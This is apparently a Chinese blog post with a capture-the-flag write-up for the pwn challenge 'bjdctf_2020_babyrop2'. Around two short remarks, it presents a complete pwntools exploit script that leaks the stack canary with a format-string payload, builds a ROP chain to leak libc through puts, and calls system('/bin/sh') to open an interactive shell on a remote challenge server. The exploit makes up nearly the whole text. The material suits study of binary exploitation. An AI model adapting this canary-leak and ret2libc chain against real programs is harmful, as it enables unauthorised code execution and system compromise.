bjdctf_2020_babyrop2

骑猪看日落 2023-02-23 08:15 121阅读 0赞

在这里插入图片描述
注意这题开启了Canary

在这里插入图片描述
因为限制了payload长度就不可以写got表了,但是可以直接泄露Canary值,在vuln中进行栈溢出即可拿到shell…

exp

  1. from pwn import *
  2. from LibcSearcher import *
  3. context.log_level = 'debug'
  4. proc_name = './bjdctf_2020_babyrop2'
  5. elf = ELF(proc_name)
  6. p = process(proc_name)
  7. p = remote('node3.buuoj.cn', 27936)
  8. main_addr = elf.sym['main']
  9. vuln_addr = elf.sym['vuln']
  10. pop_rdi_ret = 0x400993
  11. read_got = elf.got['read']
  12. puts_plt = elf.plt['puts']
  13. p.sendlineafter('u!', b'%11$p')
  14. p.recv()
  15. canary = p.recvuntil('\n')[:-1]
  16. log.info(canary)
  17. payload = b'a' * (0x20 - 8) + p64(int(canary.decode(), 16)) + p64(0) + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(vuln_addr)
  18. p.sendafter('story!', payload)
  19. p.recv()
  20. read_addr = u64(p.recv(6).ljust(0x8, b'\x00'))
  21. log.info(hex(read_addr))
  22. libc = LibcSearcher('read', read_addr)
  23. libc_base = read_addr - libc.dump('read')
  24. system_addr = libc_base + libc.dump('system')
  25. str_bin_sh = libc_base + libc.dump('str_bin_sh')
  26. payload1 = b'a' * (0x20 - 8) + p64(int(canary.decode(), 16)) + p64(0) + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) + p64(main_addr)
  27. p.sendafter('story!', payload1)
  28. p.interactive()

在这里插入图片描述

发表评论

表情:
评论列表 (有 0 条评论,121人围观)

还没有评论,来说两句吧...

相关阅读